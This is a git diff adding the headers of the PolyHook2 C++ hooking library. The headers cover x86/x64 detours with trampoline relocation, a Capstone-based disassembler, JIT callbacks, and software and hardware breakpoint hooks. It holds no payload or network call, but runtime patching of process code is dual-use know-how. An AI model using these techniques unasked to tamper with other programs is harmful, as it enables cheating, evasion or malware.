PLH::insts_t& instructions, const MemAccessor& accessor) { + for (const auto& inst : instructions) + writeEncoding(inst, accessor); + } + + /**Write the raw bytes of the given instruction into the memory specified by the + * instruction's address. If the address value of the instruction has been changed + * since the time it was decoded this will copy the instruction to a new memory address. + * This will not automatically do any code relocation, all relocation logic should + * first modify the byte array, and then call write encoding, proper order to relocate + * an instruction should be disasm instructions -> set relative/absolute displacement() -> + **/ + static void writeEncoding(const Instruction& instruction, const MemAccessor& accessor) { + assert(instruction.size() <= instruction.getBytes().size()); + accessor.mem_copy(instruction.getAddress(), (uint64_t)&instruction.getBytes()[0], instruction.size()); + } + + static bool isConditionalJump(const PLH::Instruction& instruction) { + // http://unixwiz.net/techtips/x86-jumps.html + if (instruction.size() < 1) + return false; + + std::vector bytes = instruction.getBytes(); + if (bytes[0] == 0x0F && instruction.size() > 1) { + if (bytes[1] >= 0x80 && bytes[1] <= 0x8F) + return true; + } + + if (bytes[0] >= 0x70 && bytes[0] <= 0x7F) + return true; + + if (bytes[0] == 0xE3) + return true; + + return false; + } + + static bool isFuncEnd(const PLH::Instruction& instruction) { + // TODO: more? + /* + * 0xABABABAB : Used by Microsoft's HeapAlloc() to mark "no man's land" guard bytes after allocated heap memory + * 0xABADCAFE : A startup to this value to initialize all free memory to catch errant pointers + * 0xBAADF00D : Used by Microsoft's LocalAlloc(LMEM_FIXED) to mark uninitialised allocated heap memory + * 0xBADCAB1E : Error Code returned to the Microsoft eVC debugger when connection is severed to the debugger + * 0xBEEFCACE : Used by Microsoft .NET as a magic number in resource files + * 0xCCCCCCCC : Used by Microsoft's C++ debugging runtime library to mark uninitialised stack memory + * 0xCDCDCDCD : Used by Microsoft's C++ debugging runtime library to mark uninitialised heap memory + * 0xDDDDDDDD : Used by Microsoft's C++ debugging heap to mark freed heap memory + * 0xDEADDEAD : A Microsoft Windows STOP Error code used when the user manually initiates the crash. + * 0xFDFDFDFD : Used by Microsoft's C++ debugging heap to mark "no man's land" guard bytes before and after allocated heap memory + * 0xFEEEFEEE : Used by Microsoft's HeapFree() to mark freed heap memory + */ + std::string mnemonic = instruction.getMnemonic(); + auto byts = instruction.getBytes(); + return (instruction.size() == 1 && byts[0] == 0xCC) || + (instruction.size() >= 2 && byts[0] == 0xf3 && byts[1] == 0xc3) || + mnemonic == "ret" || mnemonic == "jmp" || mnemonic.find("iret") == 0; + } + + static bool isPadBytes(const PLH::Instruction& instruction) { + // supports multi-byte nops + return instruction.getMnemonic() == "nop"; + } + + branch_map_t getBranchMap() { + return m_branchMap; + } + + void addToBranchMap(PLH::insts_t& insVec, const PLH::Instruction& inst) + { + if (inst.isBranching()) { + // search back, check if new instruction points to older ones (one to one) + auto destInst = std::find_if(insVec.begin(), insVec.end(), [&] (const Instruction& oldIns) { + return oldIns.getAddress() == inst.getDestination(); + }); + + if (destInst != insVec.end()) { + updateBranchMap(destInst->getAddress(), inst); + } + } + + // search forward, check if old instructions now point to new one (many to one possible) + for (const Instruction& oldInst : insVec) { + if (oldInst.isBranching() && oldInst.hasDisplacement() && oldInst.getDestination() == inst.getAddress()) { + updateBranchMap(inst.getAddress(), oldInst); + } + } + } +protected: + typename branch_map_t::mapped_type& updateBranchMap(uint64_t key, const Instruction& new_val) { + branch_map_t::iterator it = m_branchMap.find(key); + if (it != m_branchMap.end()) { + it->second.push_back(new_val); + } else { + branch_map_t::mapped_type s; + s.push_back(new_val); + m_branchMap.emplace(key, s); + return m_branchMap.at(key); + } + return it->second; + } + + Mode m_mode; + + /* key = address of instruction pointed at (dest of jump). Value = set of unique instruction branching to dest + Must only hold entries from the last segment disassembled. I.E clear every new call to disassemble + */ + branch_map_t m_branchMap; +}; +} +#endif //POLYHOOK_2_0_IDISASSEMBLER_HPP diff --git a/Extern/include/polyhook2/CapstoneDisassembler.hpp b/Extern/include/polyhook2/CapstoneDisassembler.hpp new file mode 100644 index 0000000..a4e92ec --- /dev/null +++ b/Extern/include/polyhook2/CapstoneDisassembler.hpp @@ -0,0 +1,61 @@ +// +// Created by steve on 3/22/17. +// + +#ifndef POLYHOOK_2_0_CAPSTONEDISASSEMBLER_HPP +#define POLYHOOK_2_0_CAPSTONEDISASSEMBLER_HPP + +#include "polyhook2/ADisassembler.hpp" + +#include + +#include +#include //for debug printing +#include +#include + +namespace PLH { + +class CapstoneDisassembler : public ADisassembler { +public: + CapstoneDisassembler(const PLH::Mode mode); + + virtual ~CapstoneDisassembler(); + + virtual std::vector + disassemble(uint64_t firstInstruction, uint64_t start, uint64_t end, const MemAccessor& accessor) override; +private: + x86_reg getIpReg() const { + if (m_mode == PLH::Mode::x64) + return X86_REG_RIP; + else //if(m_Mode == PLH::ADisassembler::Mode::x86) + return X86_REG_EIP; + } + + bool hasGroup(const cs_insn* inst, const x86_insn_group grp) const { + const uint8_t grpSize = inst->detail->groups_count; + + for (int i = 0; i < grpSize; i++) { + if (inst->detail->groups[i] == grp) + return true; + } + return false; + } + + void setDisplacementFields(Instruction& inst, const cs_insn* capInst) const; + + /* For immediate types capstone gives us only the final destination, but *we* care about the base + displacement values. + * Immediates can be encoded either as some value relative to a register, or a straight up hardcoded address, we need + * to figure out which so that we can do code relocation later. To deconstruct the info we need first we read the imm value byte + * by byte out of the instruction, if that value is less than what capstone told us is the destination then we know that it is relative and we have to add the base. + * Otherwise if our retreived displacement is equal to the given destination then it is a true absolute jmp/call (only possible in x64), + * if it's greater then something broke.*/ + void copyDispSx(PLH::Instruction& inst, + const uint8_t offset, + const uint8_t size, + const int64_t immDestination) const; + + csh m_capHandle; +}; +} +#endif //POLYHOOK_2_0_CAPSTONEDISASSEMBLER_HPP diff --git a/Extern/include/polyhook2/Detour/ADetour.hpp b/Extern/include/polyhook2/Detour/ADetour.hpp new file mode 100644 index 0000000..bb76494 --- /dev/null +++ b/Extern/include/polyhook2/Detour/ADetour.hpp @@ -0,0 +1,231 @@ +// +// Created by steve on 4/2/17. +// + +#ifndef POLYHOOK_2_0_ADETOUR_HPP +#define POLYHOOK_2_0_ADETOUR_HPP + +#include +#include +#include +#include +#include + +#include "polyhook2/ADisassembler.hpp" +#include "polyhook2/MemProtector.hpp" +#include "polyhook2/ErrorLog.hpp" +#include "polyhook2/IHook.hpp" +#include "polyhook2/Enums.hpp" +#include "polyhook2/Misc.hpp" + +#pragma warning(disable:4100) +#pragma warning(disable:4189) + +/** + * All of these methods must be transactional. That + * is to say that if a function fails it will completely + * restore any external and internal state to the same + * it was when the function began. + **/ + +namespace PLH { + +/**First param is an address to a function that you want to +cast to the type of pFnCastTo. Second param must be a pointer +to function type**/ +template +T FnCast(uint64_t fnToCast, T pFnCastTo) { + PH_UNUSED(pFnCastTo); + return (T)fnToCast; +} + +template +T FnCast(void* fnToCast, T pFnCastTo) { + PH_UNUSED(pFnCastTo); + return (T)fnToCast; +} + +class Detour : public PLH::IHook { +public: + Detour(const uint64_t fnAddress, const uint64_t fnCallback, uint64_t* userTrampVar, PLH::ADisassembler& dis) : m_disasm(dis) { + assert(fnAddress != 0 && fnCallback != 0); + assert(sizeof(*userTrampVar) == sizeof(uint64_t) && "Given trampoline holder to small"); + + m_fnAddress = fnAddress; + m_fnCallback = fnCallback; + m_trampoline = NULL; + m_trampolineSz = NULL; + m_hooked = false; + m_userTrampVar = userTrampVar; + } + + Detour(const char* fnAddress, const char* fnCallback, uint64_t* userTrampVar, PLH::ADisassembler& dis) : m_disasm(dis) { + assert(fnAddress != nullptr && fnCallback != nullptr); + assert(sizeof(*userTrampVar) == sizeof(uint64_t) && "Given trampoline holder to small"); + + m_fnAddress = (uint64_t)fnAddress; + m_fnCallback = (uint64_t)fnCallback; + m_trampoline = NULL; + m_trampolineSz = NULL; + m_hooked = false; + m_userTrampVar = userTrampVar; + } + + virtual ~Detour() { + if (m_hooked) { + unHook(); + } + } + + virtual bool unHook() override; + + /** + This is for restoring hook bytes if a 3rd party uninstalled them. + DO NOT call this after unHook(). This may only be called after hook() + but before unHook() + **/ + virtual bool reHook() override; + + virtual HookType getType() const override { + return HookType::Detour; + } + + virtual Mode getArchType() const = 0; +protected: + uint64_t m_fnAddress; + uint64_t m_fnCallback; + uint64_t m_trampoline; + uint16_t m_trampolineSz; + uint64_t* m_userTrampVar; + ADisassembler& m_disasm; + + PLH::insts_t m_originalInsts; + + /*Save the instructions used for the hook so that we can re-write in rehook() + Note: There's a nop range we store too so that it doesn't need to be re-calculated + */ + PLH::insts_t m_hookInsts; + uint16_t m_nopProlOffset; + uint16_t m_nopSize; + uint32_t m_hookSize; + + /**Walks the given vector of instructions and sets roundedSz to the lowest size possible that doesn't split any instructions and is greater than minSz. + If end of function is encountered before this condition an empty optional is returned. Returns instructions in the range start to adjusted end**/ + std::optional calcNearestSz(const insts_t& functionInsts, const uint64_t minSz, + uint64_t& roundedSz); + + /**If function starts with a jump follow it until the first non-jump instruction, recursively. This handles already hooked functions + and also compilers that emit jump tables on function call. Returns true if resolution was successful (nothing to resolve, or resolution worked), + false if resolution failed.**/ + bool followJmp(insts_t& functionInsts, const uint8_t curDepth = 0, const uint8_t depth = 5); + + /**Expand the prologue up to the address of the last jmp that points back into the prologue. This + is necessary because we modify the location of things in the prologue, so re-entrant jmps point + to the wrong place. Therefore we move all of it to the trampoline where there is ample space to + relocate and create jmp tbl entries**/ + bool expandProlSelfJmps(insts_t& prol, + const insts_t& func, + uint64_t& minProlSz, + uint64_t& roundProlSz); + + bool buildRelocationList(insts_t& prologue, const uint64_t roundProlSz, const int64_t delta, PLH::insts_t &instsNeedingEntry, PLH::insts_t &instsNeedingReloc); + + template + PLH::insts_t relocateTrampoline(insts_t& prologue, uint64_t jmpTblStart, const int64_t delta, const uint8_t jmpSz, MakeJmpFn makeJmp, const PLH::insts_t& instsNeedingReloc, const PLH::insts_t& instsNeedingEntry); + + /** + Insert nops from [Base, Base+size). We _MUST_ insert multi-byte nops so we don't accidentally + confused our code cave finder for x64 + **/ + void writeNop(uint64_t base, uint32_t size); +}; + +template +PLH::insts_t PLH::Detour::relocateTrampoline(insts_t& prologue, uint64_t jmpTblStart, const int64_t delta, const uint8_t jmpSz, MakeJmpFn makeJmp, const PLH::insts_t& instsNeedingReloc, const PLH::insts_t& instsNeedingEntry) { + uint64_t jmpTblCurAddr = jmpTblStart; + insts_t jmpTblEntries; + for (auto& inst : prologue) { + + if (std::find(instsNeedingEntry.begin(), instsNeedingEntry.end(), inst) != instsNeedingEntry.end()) { + assert(inst.hasDisplacement()); + // make an entry pointing to where inst did point to + auto entry = makeJmp(jmpTblCurAddr, inst.getDestination()); + + // move inst to trampoline and point instruction to entry + inst.setAddress(inst.getAddress() + delta); + inst.setDestination(jmpTblCurAddr); + jmpTblCurAddr += jmpSz; + + m_disasm.writeEncoding(entry, *this); + jmpTblEntries.insert(jmpTblEntries.end(), entry.begin(), entry.end()); + } else if (std::find(instsNeedingReloc.begin(), instsNeedingReloc.end(), inst) != instsNeedingReloc.end()) { + assert(inst.hasDisplacement()); + + const uint64_t instsOldDest = inst.getDestination(); + inst.setAddress(inst.getAddress() + delta); + inst.setDestination(instsOldDest); + } else { + inst.setAddress(inst.getAddress() + delta); + } + + m_disasm.writeEncoding(inst, *this); + } + return jmpTblEntries; +} + +/** Before Hook: After hook: +* +* --------fnAddress-------- --------fnAddress-------- +* | prologue | | jmp fnCallback | <- this may be an indirect jmp +* | ...body... | ----> Converted into ----> | ...jump table... | if it is, it reads the final +* | | | ...body... | dest from end of trampoline (optional indirect loc) +* | ret | | ret | +* ------------------------- -------------------------- +* ^ jump table may not exist. +* If it does, and it uses indirect style +* jumps then prologueJumpTable exists. +* prologueJumpTable holds pointers +* to where the indirect jump actually +* lands. +* +* Created during hooking: +* --------Trampoline-------- +* | prologue | Executes fnAddress's prologue (we overwrote it with jmp) +* | jmp fnAddress.body | Jmp back to first address after the overwritten prologue +* | ...jump table... | Long jmp table that short jmps in prologue point to +* | optional indirect loc | may or may not exist depending on jmp type we used +* -------------------------- +* +* Conditionally exists: +* ----prologueJumpTable----- +* | jump_holder1 | -> points into Trampoline.prologue +* | jump_holder2 | -> points into Trampoline.prologue +* | ... | +* ------------------------ +* +* +* Example jmp table (with an example prologue, this prologue lives in trampoline): +* +* Prologue before fix: Prologue after fix: +* ------prologue----- ------prologue---- ----jmp table---- +* push ebp push ebp jump_table.Entry1: long jmp original je address + 0x20 +* mov ebp, esp mov ebp, esp +* cmp eax, 1 cmp eax, 1 +* je 0x20 je jump_table.Entry1 +* +* This jump table is needed because the original je instruction's displacement has a max vale of 0x80. It's +* extremely likely that our Trampoline was not placed +-0x80 bytes away from fnAddress. Therefore we have +* to add an intermediate long jmp so that the moved je will still jump to where it originally pointed. To +* do this we insert a jump table at the end of the trampoline, there's N entrys where conditional jmp N points +* to jump_table.EntryN. +* +* +* User Implements callback as C++ code +* --------fnCallback-------- +* | ...user defined code... | +* | return Trampoline | +* | | +* -------------------------- +* **/ +} +#endif //POLYHOOK_2_0_ADETOUR_HPP \ No newline at end of file diff --git a/Extern/include/polyhook2/Detour/ILCallback.hpp b/Extern/include/polyhook2/Detour/ILCallback.hpp new file mode 100644 index 0000000..a7914c9 --- /dev/null +++ b/Extern/include/polyhook2/Detour/ILCallback.hpp @@ -0,0 +1,79 @@ +#ifndef POLYHOOK_2_0_ILCALLBACK_HPP +#define POLYHOOK_2_0_ILCALLBACK_HPP + +#pragma warning(push, 0) +#include +#pragma warning( pop ) + +#pragma warning( disable : 4200) +#include "polyhook2/ErrorLog.hpp" +#include "polyhook2/Enums.hpp" + +#include "polyhook2/PageAllocator.hpp" + +#include +#include +namespace PLH { + class ILCallback { + public: + struct Parameters { + template + void setArg(const uint8_t idx, const T val) const { + *(T*)getArgPtr(idx) = val; + } + + template + T getArg(const uint8_t idx) const { + return *(T*)getArgPtr(idx); + } + + // asm depends on this specific type + // we the ILCallback allocates stack space that is set to point here + volatile uint64_t m_arguments; + private: + // must be char* for aliasing rules to work when reading back out + char* getArgPtr(const uint8_t idx) const { + return ((char*)&m_arguments) + sizeof(uint64_t) * idx; + } + }; + + struct ReturnValue { + unsigned char* getRetPtr() const { + return (unsigned char*)&m_retVal; + } + uint64_t m_retVal; + }; + + typedef void(*tUserCallback)(const Parameters* params, const uint8_t count, const ReturnValue* ret); + + ILCallback(); + ~ILCallback(); + + /* Construct a callback given the raw signature at runtime. 'Callback' param is the C stub to transfer to, + where parameters can be modified through a structure which is written back to the parameter slots depending + on calling convention.*/ + uint64_t getJitFunc(const asmjit::FuncSignature& sig, const asmjit::Environment::Arch arch, const tUserCallback callback); + + /* Construct a callback given the typedef as a string. Types are any valid C/C++ data type (basic types), and pointers to + anything are just a uintptr_t. Calling convention is defaulted to whatever is typical for the compiler you use, you can override with + stdcall, fastcall, or cdecl (cdecl is default on x86). On x64 those map to the same thing.*/ + uint64_t getJitFunc(const std::string& retType, const std::vector& paramTypes, const asmjit::Environment::Arch arch, const tUserCallback callback, std::string callConv = ""); + uint64_t* getTrampolineHolder(); + private: + // does a given type fit in a general purpose register (i.e. is it integer type) + bool isGeneralReg(const uint8_t typeId) const; + // float, double, simd128 + bool isXmmReg(const uint8_t typeId) const; + + asmjit::CallConv::Id getCallConv(const std::string& conv); + uint8_t getTypeId(const std::string& type); + + PageAllocator m_mem; + uint64_t m_callbackBuf; + asmjit::x86::Mem argsStack; + + // ptr to trampoline allocated by hook, we hold this so user doesn't need to. + uint64_t m_trampolinePtr; + }; +} +#endif // POLYHOOK_2_0_ILCALLBACK_HPP diff --git a/Extern/include/polyhook2/Detour/x64Detour.hpp b/Extern/include/polyhook2/Detour/x64Detour.hpp new file mode 100644 index 0000000..c5bac7e --- /dev/null +++ b/Extern/include/polyhook2/Detour/x64Detour.hpp @@ -0,0 +1,41 @@ +// +// Created by steve on 7/4/17. +// + +#ifndef POLYHOOK_2_X64DETOUR_HPP +#define POLYHOOK_2_X64DETOUR_HPP + +#include +#include +using namespace std::placeholders; + +#include "polyhook2/Detour/ADetour.hpp" +#include "polyhook2/Enums.hpp" +#include "polyhook2/Instruction.hpp" +#include "polyhook2/ADisassembler.hpp" +#include "polyhook2/ErrorLog.hpp" + +namespace PLH { + +class x64Detour : public Detour { +public: + x64Detour(const uint64_t fnAddress, const uint64_t fnCallback, uint64_t* userTrampVar, PLH::ADisassembler& dis); + + x64Detour(const char* fnAddress, const char* fnCallback, uint64_t* userTrampVar, PLH::ADisassembler& dis); + virtual ~x64Detour() = default; + virtual bool hook() override; + + Mode getArchType() const override; + + uint8_t getMinJmpSize() const; + + uint8_t getPrefJmpSize() const; +private: + bool makeTrampoline(insts_t& prologue, insts_t& trampolineOut); + + // assumes we are looking within a +-2GB window + template + std::optional findNearestCodeCave(uint64_t addr); +}; +} +#endif //POLYHOOK_2_X64DETOUR_HPP diff --git a/Extern/include/polyhook2/Detour/x86Detour.hpp b/Extern/include/polyhook2/Detour/x86Detour.hpp new file mode 100644 index 0000000..37851b1 --- /dev/null +++ b/Extern/include/polyhook2/Detour/x86Detour.hpp @@ -0,0 +1,37 @@ +// +// Created by steve on 7/4/17. +// + +#ifndef POLYHOOK_2_X86DETOUR_HPP +#define POLYHOOK_2_X86DETOUR_HPP + +#include +#include +#include +using namespace std::placeholders; + +#include "polyhook2/Detour/ADetour.hpp" +#include "polyhook2/Enums.hpp" +#include "polyhook2/Instruction.hpp" +#include "polyhook2/ADisassembler.hpp" +#include "polyhook2/ErrorLog.hpp" +#include "polyhook2/MemProtector.hpp" + +namespace PLH { + +class x86Detour : public Detour { +public: + x86Detour(const uint64_t fnAddress, const uint64_t fnCallback, uint64_t* userTrampVar, PLH::ADisassembler& dis); + + x86Detour(const char* fnAddress, const char* fnCallback, uint64_t* userTrampVar, PLH::ADisassembler& dis); + virtual ~x86Detour() = default; + virtual bool hook() override; + + Mode getArchType() const override; + + uint8_t getJmpSize() const; +private: + bool makeTrampoline(insts_t& prologue, insts_t& trampolineOut); +}; +} +#endif //POLYHOOK_2_X86DETOUR_HPP diff --git a/Extern/include/polyhook2/Enums.hpp b/Extern/include/polyhook2/Enums.hpp new file mode 100644 index 0000000..d1532e3 --- /dev/null +++ b/Extern/include/polyhook2/Enums.hpp @@ -0,0 +1,59 @@ +// +// Created by steve on 4/20/17. +// + +#ifndef POLYHOOK_2_0_ENUMS_HPP +#define POLYHOOK_2_0_ENUMS_HPP + +#include +#include + +namespace PLH { + +enum class HookType { + Detour, + VEHHOOK, + VTableSwap, + IAT, + EAT, + UNKNOWN +}; + + +//unsafe enum by design to allow binary OR +enum ProtFlag : std::uint8_t { + UNSET = 0, // Value means this give no information about protection state (un-read) + X = 1 << 1, + R = 1 << 2, + W = 1 << 3, + S = 1 << 4, + P = 1 << 5, + NONE = 1 << 6 //The value equaling the linux flag PROT_UNSET (read the prot, and the prot is unset) +}; + +/* Used by detours class only. This doesn't live in instruction because it + * only makes sense for specific jump instructions (perhaps re-factor instruction + * to store inst. specific stuff when needed?). There are two classes of information for jumps + * 1) how displacement is encoded, either relative to I.P. or Absolute + * 2) where the jmp points, either absolutely to the destination or to a memory loc. that then points to the final dest. + * + * The first information is stored internal to the PLH::Instruction object. The second is this enum class that you + * tack on via a pair or tuple when you need to tranfer that knowledge.*/ +enum class JmpType { + Absolute, + Indirect +}; + +enum class Mode { + x86, + x64 +}; + +enum class ErrorLevel { + INFO, + WARN, + SEV, + NONE +}; +} +#endif //POLYHOOK_2_0_ENUMS_HPP diff --git a/Extern/include/polyhook2/ErrorLog.hpp b/Extern/include/polyhook2/ErrorLog.hpp new file mode 100644 index 0000000..481fe00 --- /dev/null +++ b/Extern/include/polyhook2/ErrorLog.hpp @@ -0,0 +1,51 @@ +#ifndef POLYHOOK_2_0_ERRORLOG_HPP +#define POLYHOOK_2_0_ERRORLOG_HPP + +#include +#include +#include +#include "polyhook2/Enums.hpp" + +namespace PLH { + +// abstract base class for logging, clients should subclass this to intercept log messages +class Logger +{ +public: + virtual void log(std::string msg, ErrorLevel level) = 0; + virtual ~Logger() {}; +}; + +// class for registering client loggers +class Log +{ +private: + static std::shared_ptr m_logger; +public: + static void registerLogger(std::shared_ptr logger); + static void log(std::string msg, ErrorLevel level); +}; + +// simple logger implementation + +struct Error { + std::string msg; + ErrorLevel lvl; +}; + +class ErrorLog : public Logger { +public: + void setLogLevel(ErrorLevel level); + void log(std::string msg, ErrorLevel level); + void push(std::string msg, ErrorLevel level); + void push(Error err); + Error pop(); + static ErrorLog& singleton(); +private: + std::vector m_log; + ErrorLevel m_logLevel = ErrorLevel::INFO; +}; + +} + +#endif diff --git a/Extern/include/polyhook2/EventDispatcher.hpp b/Extern/include/polyhook2/EventDispatcher.hpp new file mode 100644 index 0000000..455209b --- /dev/null +++ b/Extern/include/polyhook2/EventDispatcher.hpp @@ -0,0 +1,33 @@ +#pragma once +#include +#include + +namespace PLH { +template +class EventDispatcher +{ +public: + typedef std::function Event; + void operator+=(const Event& event); + + template + typename Event::result_type Invoke(Args&& ...Params) + { + assert(m_Event); + return m_Event(std::forward(Params)...); + } + + operator bool() const + { + return m_Event != nullptr; + } +private: + Event m_Event; +}; + +template +void EventDispatcher::operator+=(const Event& event) +{ + m_Event = event; +} +} \ No newline at end of file diff --git a/Extern/include/polyhook2/Exceptions/AVehHook.hpp b/Extern/include/polyhook2/Exceptions/AVehHook.hpp new file mode 100644 index 0000000..7353072 --- /dev/null +++ b/Extern/include/polyhook2/Exceptions/AVehHook.hpp @@ -0,0 +1,99 @@ +#ifndef POLYHOOK_2_0_VEHHOOK_HPP +#define POLYHOOK_2_0_VEHHOOK_HPP + +#include +#include + +#include "polyhook2/MemProtector.hpp" +#include "polyhook2/ErrorLog.hpp" +#include "polyhook2/IHook.hpp" +#include "polyhook2/Enums.hpp" +#include "polyhook2/EventDispatcher.hpp" + +namespace PLH { + +#ifdef _WIN64 +#define XIP Rip +#else +#define XIP Eip +#endif // _WIN64 + +class RefCounter { +public: + uint16_t m_count = 0; +}; + +enum class AVehHookImpType { + SINGLE, // will exception occur at one address (end address ignored) + RANGE // will exception occur over a potential range +}; + +class AVehHook; +struct AVehHookImpEntry { + uint64_t startAddress; // start address impl applies to + uint64_t endAddress; // end address impl applies to + AVehHook* impl; // the instance to forward to + AVehHookImpType type; + + AVehHookImpEntry(uint64_t start, AVehHook* imp) { + startAddress = start; + endAddress = 0; + impl = imp; + type = AVehHookImpType::SINGLE; + } + + AVehHookImpEntry(uint64_t start, uint64_t end, AVehHook* imp) { + startAddress = start; + endAddress = end; + impl = imp; + type = AVehHookImpType::RANGE; + } +}; + +inline bool operator==(const AVehHookImpEntry& lhs, const AVehHookImpEntry& rhs) +{ + return lhs.type == rhs.type && lhs.startAddress == rhs.startAddress && lhs.endAddress == rhs.endAddress; +} + + + + +typedef EventDispatcher eException; +class AVehHook : public IHook { +public: + AVehHook(); + virtual ~AVehHook(); + + virtual HookType getType() const { + return HookType::VEHHOOK; + } + + /**If true is returned**/ + static eException& EventException(); + static eException& EventUnhandledException(); +protected: + // May not allocate or acquire synchonization objects in this + virtual LONG OnException(EXCEPTION_POINTERS* ExceptionInfo) = 0; + + static RefCounter m_refCount; + static void* m_hHandler; + static std::unordered_set m_impls; + static LONG CALLBACK Handler(EXCEPTION_POINTERS* ExceptionInfo); + static eException m_onException; + static eException m_onUnhandledException; +}; +} + +namespace std { + template<> struct hash + { + std::size_t operator()(const PLH::AVehHookImpEntry& e) const noexcept + { + auto h1 = std::hash{}(e.startAddress); + auto h2 = std::hash{}(e.endAddress); + return h1 ^ (h2 << 1); + } + }; +} + +#endif \ No newline at end of file diff --git a/Extern/include/polyhook2/Exceptions/BreakPointHook.hpp b/Extern/include/polyhook2/Exceptions/BreakPointHook.hpp new file mode 100644 index 0000000..b36fafa --- /dev/null +++ b/Extern/include/polyhook2/Exceptions/BreakPointHook.hpp @@ -0,0 +1,37 @@ +#ifndef POLYHOOK_2_0_BPHOOK_HPP +#define POLYHOOK_2_0_BPHOOK_HPP + +#include + +#include "polyhook2/Exceptions/AVehHook.hpp" +#include "polyhook2/Misc.hpp" + +namespace PLH { + +class BreakPointHook : public AVehHook { +public: + BreakPointHook(const uint64_t fnAddress, const uint64_t fnCallback); + BreakPointHook(const char* fnAddress, const char* fnCallback); + ~BreakPointHook() { + m_impls.erase(AVehHookImpEntry(m_fnAddress, this)); + if (m_hooked) { + unHook(); + } + } + + virtual bool hook() override; + virtual bool unHook() override; + auto getProtectionObject() { + return finally([&] () { + hook(); + }); + } +private: + uint64_t m_fnCallback; + uint64_t m_fnAddress; + uint8_t m_origByte; + + LONG OnException(EXCEPTION_POINTERS* ExceptionInfo) override; +}; +} +#endif \ No newline at end of file diff --git a/Extern/include/polyhook2/Exceptions/HWBreakPointHook.hpp b/Extern/include/polyhook2/Exceptions/HWBreakPointHook.hpp new file mode 100644 index 0000000..7c0e0cc --- /dev/null +++ b/Extern/include/polyhook2/Exceptions/HWBreakPointHook.hpp @@ -0,0 +1,40 @@ +#ifndef POLYHOOK_2_0_HWBPHOOK_HPP +#define POLYHOOK_2_0_HWBPHOOK_HPP + +#include + +#include "polyhook2/Exceptions/AVehHook.hpp" +#include "polyhook2/Misc.hpp" + +namespace PLH { + +class HWBreakPointHook : public AVehHook { +public: + HWBreakPointHook(const uint64_t fnAddress, const uint64_t fnCallback, HANDLE hThread); + HWBreakPointHook(const char* fnAddress, const char* fnCallback, HANDLE hThread); + ~HWBreakPointHook() { + m_impls.erase(AVehHookImpEntry(m_fnAddress, this)); + if (m_hooked) { + unHook(); + } + } + + virtual bool hook() override; + virtual bool unHook() override; + auto getProtectionObject() { + return finally([&] () { + hook(); + }); + } +private: + uint64_t m_fnCallback; + uint64_t m_fnAddress; + uint8_t m_regIdx; + + HANDLE m_hThread; + + LONG OnException(EXCEPTION_POINTERS* ExceptionInfo) override; +}; +} + +#endif \ No newline at end of file diff --git a/Extern/include/polyhook2/IHook.hpp b/Extern/include/polyhook2/IHook.hpp new file mode 100644 index 0000000..2ec545e --- /dev/null +++ b/Extern/include/polyhook2/IHook.hpp @@ -0,0 +1,141 @@ +// +// Created by steve on 4/2/17. +// + +#ifndef POLYHOOK_2_0_IHOOK_HPP +#define POLYHOOK_2_0_IHOOK_HPP + + +#include "polyhook2/ADisassembler.hpp" +#include "polyhook2/Enums.hpp" +#include "polyhook2/MemAccessor.hpp" + +#include +#include +#include + + +#if defined(__clang__) +#define NOINLINE __attribute__((noinline)) +#define PH_ATTR_NAKED __attribute__((naked)) +#elif defined(__GNUC__) || defined(__GNUG__) +#define NOINLINE __attribute__((noinline)) +#define PH_ATTR_NAKED __attribute__((naked)) +#define OPTS_OFF _Pragma("GCC push_options") \ +_Pragma("GCC optimize (\"O0\")") +#define OPTS_ON #pragma GCC pop_options +#elif defined(_MSC_VER) +#define NOINLINE __declspec(noinline) +#define PH_ATTR_NAKED __declspec(naked) +#define OPTS_OFF __pragma(optimize("", off)) +#define OPTS_ON __pragma(optimize("", on)) +#endif + +#define PH_UNUSED(a) (void)a + +namespace PLH { +class IHook : public MemAccessor { +public: + IHook() { + m_debugSet = false; + m_hooked = false; + } + + IHook(IHook&& other) = default; //move + IHook& operator=(IHook&& other) = default;//move assignment + IHook(const IHook& other) = delete; //copy + IHook& operator=(const IHook& other) = delete; //copy assignment + virtual ~IHook() = default; + + virtual bool hook() = 0; + + virtual bool unHook() = 0; + + // this is allowed to be nothing by default + virtual bool reHook() { + return true; + } + + virtual HookType getType() const = 0; + + virtual void setDebug(const bool state) { + m_debugSet = state; + } + +protected: + bool m_debugSet; + bool m_hooked; +}; + +//Thanks @_can1357 for help with this. +template +struct callback_type { using type = T; }; + +template +using callback_type_t = typename callback_type::type; + +template +using callback_type_v = typename callback_type::type; + +#define MAKE_CALLBACK_IMPL(CCFROM, CCTO) template \ +auto make_callback(Ret(CCFROM*)(Args...), F&& f) \ +{ \ + Ret(CCTO * fn)(Args...) = f; \ + return fn; \ +} \ +template \ +struct callback_type \ +{ \ + using type = Ret(CCTO*)(Args...); \ +}; + +// switch to __VA_OPT__ when C++ 2a release. MSVC removes comma before empty __VA_ARGS__ as is. +// https://devblogs.microsoft.com/cppblog/msvc-preprocessor-progress-towards-conformance/ +#define MAKE_CALLBACK_CLASS_IMPL(CCFROM, CCTO, ...) template \ +auto make_callback(Ret(CCFROM Class::*)(Args...), F&& f) \ +{ \ + Ret(CCTO * fn)(Class*, ## __VA_ARGS__, Args...) = f; \ + return fn; \ +} \ +template \ +struct callback_type \ +{ \ + using type = Ret(CCTO*)(Class*, ## __VA_ARGS__, Args...); \ +}; + +#ifndef _WIN64 +MAKE_CALLBACK_IMPL(__stdcall, __stdcall) +MAKE_CALLBACK_CLASS_IMPL(__stdcall, __stdcall) + +MAKE_CALLBACK_IMPL(__cdecl, __cdecl) +MAKE_CALLBACK_CLASS_IMPL(__cdecl, __cdecl) + +MAKE_CALLBACK_IMPL(__thiscall, __thiscall) +MAKE_CALLBACK_CLASS_IMPL(__thiscall, __fastcall, char*) +#endif + +MAKE_CALLBACK_IMPL(__fastcall, __fastcall) +MAKE_CALLBACK_CLASS_IMPL(_fastcall, __fastcall) + +template +decltype(auto) get_pack_idx(Ts&&... ts) { + return std::get(std::forward_as_tuple(ts...)); +} +} + +/** +Creates a hook callback function pointer that matches the type of a given function definition. The name variable +will be a pointer to the function, and the variables _args... and name_t will be created to represent the original +arguments of the function and the type of the callback respectively. +**/ +#define HOOK_CALLBACK(pType, name, body) typedef PLH::callback_type_t ##name##_t; \ +PLH::callback_type_t name = PLH::make_callback(pType, [](auto... _args) body ) + +/** +When using the HOOK_CALLBACK macro this helper utility can be used to retreive one of the original +arguments by index. The type and value will exactly match that of the original function at that index. +for member functions this is essentially 1's indexed because first param is this* +**/ +#define GET_ARG(idx) PLH::get_pack_idx(_args...) + 